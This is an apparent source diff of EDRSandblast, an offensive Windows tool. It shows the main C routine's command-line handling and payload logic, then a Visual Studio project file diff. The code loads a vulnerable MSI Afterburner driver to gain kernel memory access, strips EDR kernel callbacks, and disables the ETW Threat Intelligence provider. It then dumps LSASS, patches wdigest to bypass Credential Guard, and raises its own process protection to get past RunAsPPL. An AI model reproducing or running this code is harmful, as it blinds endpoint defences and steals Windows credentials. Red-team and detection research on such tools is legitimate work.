else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||
_tprintf(TEXT("%s\n"), usage);
|
||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
|
||||
verbose = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
|
||||
userMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
|
||||
kernelMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
|
||||
removeVulnDriver = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
|
||||
restoreCallbacks = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
SetServiceName(argv[i], _tcslen(argv[i]) + 1);
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
unhook_method = _ttoi(argv[i]);
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
HANDLE hAdditionnalLib = LoadLibrary(argv[i]);
|
||||
if (hAdditionnalLib == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
// Command line option consistency checks.
|
||||
if (startMode == none){
|
||||
_tprintf(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (startMode == cmd && !kernelMode) {
|
||||
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (!userMode && !kernelMode) {
|
||||
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
|
||||
userMode = TRUE;
|
||||
}
|
||||
if (startMode == credguard && !kernelMode) {
|
||||
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
if (startMode == dump && !kernelMode) {
|
||||
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
if (!userMode && kernelMode) {
|
||||
_tprintf(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
|
||||
}
|
||||
|
||||
BOOL isSafeToExecutePayload = TRUE;
|
||||
|
||||
if (userMode) {
|
||||
_tprintf(TEXT("Loaded DLLs in current process:\n"));
|
||||
hooks = searchHooks(NULL);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
if (startMode != audit) {
|
||||
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
|
||||
unhook(ptr, unhook_method);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (kernelMode) {
|
||||
if (_tcslen(driverPath) == 0) {
|
||||
TCHAR separator[] = TEXT("\\");
|
||||
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
||||
}
|
||||
DWORD driverAttrib = GetFileAttributes(driverPath);
|
||||
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
|
||||
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
||||
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
|
||||
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
|
||||
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
|
||||
status = InstallVulnerableDriver(driverPath);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
|
||||
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
|
||||
Sleep(20000);
|
||||
status = UninstallVulnerableDriver();
|
||||
Sleep(2000);
|
||||
status = status && InstallVulnerableDriver(driverPath);
|
||||
Sleep(2000);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
Sleep(5000);
|
||||
|
||||
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
|
||||
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (checkEDRDrivers->index) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
|
||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (ETWTIState) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (startMode != audit) {
|
||||
|
||||
if (isSafeToExecutePayload) {
|
||||
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
|
||||
|
||||
// Do the operation the tool was started for.
|
||||
switch (startMode) {
|
||||
|
||||
// Start a process executing cmd.exe.
|
||||
case cmd:
|
||||
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
|
||||
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
|
||||
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
|
||||
// Find cmd.exe path.
|
||||
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
|
||||
_tsystem(cmdPath);
|
||||
break;
|
||||
|
||||
// Dump the LSASS process in a new thread.
|
||||
case dump:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
|
||||
if (_tcslen(outputPath) == 0) {
|
||||
TCHAR outputName[] = TEXT("\\lsass");
|
||||
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
|
||||
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
|
||||
if (lpExitCode != 0) {
|
||||
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
break;
|
||||
|
||||
|
||||
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
|
||||
case credguard:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
if (_tcslen(wdigestOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
|
||||
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (disableCredGuardByPatchingLSASS()) {
|
||||
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
|
||||
// If the the payload is not safe to execute.
|
||||
else {
|
||||
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n"));
|
||||
#ifdef _DEBUG
|
||||
assert(kernelMode);
|
||||
#endif
|
||||
/*
|
||||
* 1/3 : Removing kernel-based monitoring.
|
||||
*/
|
||||
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
|
||||
if (ETWTIState) {
|
||||
DisableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
// If kernel callbacks are monitoring processes, we remove them and start a new process.
|
||||
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
|
||||
// Removes EDR drivers callbacks for process / threads creation and image loading.
|
||||
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!removedEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
|
||||
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
|
||||
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
|
||||
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
free(removedEDRDrivers);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
}
|
||||
|
||||
/*
|
||||
* 2/3 : Starting "resursively" our process.
|
||||
*/
|
||||
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
|
||||
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
|
||||
TCHAR* currentCommandLine = GetCommandLine();
|
||||
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
|
||||
TCHAR* serviceNameOpt = _tcsdup(TEXT(" --service "));
|
||||
TCHAR* svcName = GetServiceName();
|
||||
|
||||
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
|
||||
const SIZE_T commandLineMaxLen = 32768;
|
||||
TCHAR* commandLine = (TCHAR*) calloc(commandLineMaxLen, sizeof(TCHAR));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, serviceNameOpt, _tcslen(serviceNameOpt));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, svcName, _tcslen(svcName));
|
||||
|
||||
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(commandLine);
|
||||
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
/*
|
||||
* 3/3 : Restoring state after execution.
|
||||
*/
|
||||
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
|
||||
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
|
||||
// Restores the EDR drivers.
|
||||
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
|
||||
RestoreEDRCallbacks(removedEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that the EDR drivers were indeed restored.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
|
||||
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||
if (ETWTIState) {
|
||||
EnableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
|
||||
if (removedEDRDrivers) {
|
||||
free(removedEDRDrivers);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (kernelMode && removeVulnDriver) {
|
||||
Sleep(5000);
|
||||
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
|
||||
status = UninstallVulnerableDriver();
|
||||
if (status == FALSE) {
|
||||
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
|
||||
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetServiceName());
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
|
||||
}
|
||||
}
|
||||
|
||||
return lpExitCode;
|
||||
}
|
||||
@@ -24,32 +24,33 @@
|
||||
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
|
||||
<RootNamespace>EDRSandblast</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>EDRSandblast_Core</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
@@ -58,6 +59,7 @@
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
@@ -82,9 +84,14 @@
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IncludePath>$(SolutionDir)EDRSandblast\Includes;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<RunCodeAnalysis>false</RunCodeAnalysis>
|
||||
<EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<IncludePath>$(SolutionDir)EDRSandblast\Includes;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
@@ -97,7 +104,7 @@
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -115,7 +122,7 @@
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
@@ -130,7 +137,7 @@
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
@@ -143,52 +150,106 @@
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<ProgramDatabaseFile />
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
|
||||
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="EDRSandblast.c" />
|
||||
<ClCompile Include="Drivers\DriverDBUtil.c" />
|
||||
<ClCompile Include="Drivers\DriverRTCore.c" />
|
||||
<ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelUtils.c" />
|
||||
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
|
||||
<ClCompile Include="UserlandBypass\Syscalls.c" />
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
|
||||
<ClCompile Include="Utils\FileUtils.c" />
|
||||
<ClCompile Include="Utils\HttpClient.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
|
||||
<ClCompile Include="Userland\PEBBrowse.c" />
|
||||
<ClCompile Include="Userland\PEParser.c" />
|
||||
<ClCompile Include="Userland\UserlandHooks.c" />
|
||||
<ClCompile Include="Utils\ListUtils.c" />
|
||||
<ClCompile Include="Utils\RemotePEBBrowser.c" />
|
||||
<ClCompile Include="Utils\PdbSymbols.c" />
|
||||
<ClCompile Include="UserlandBypass\Firewalling.c" />
|
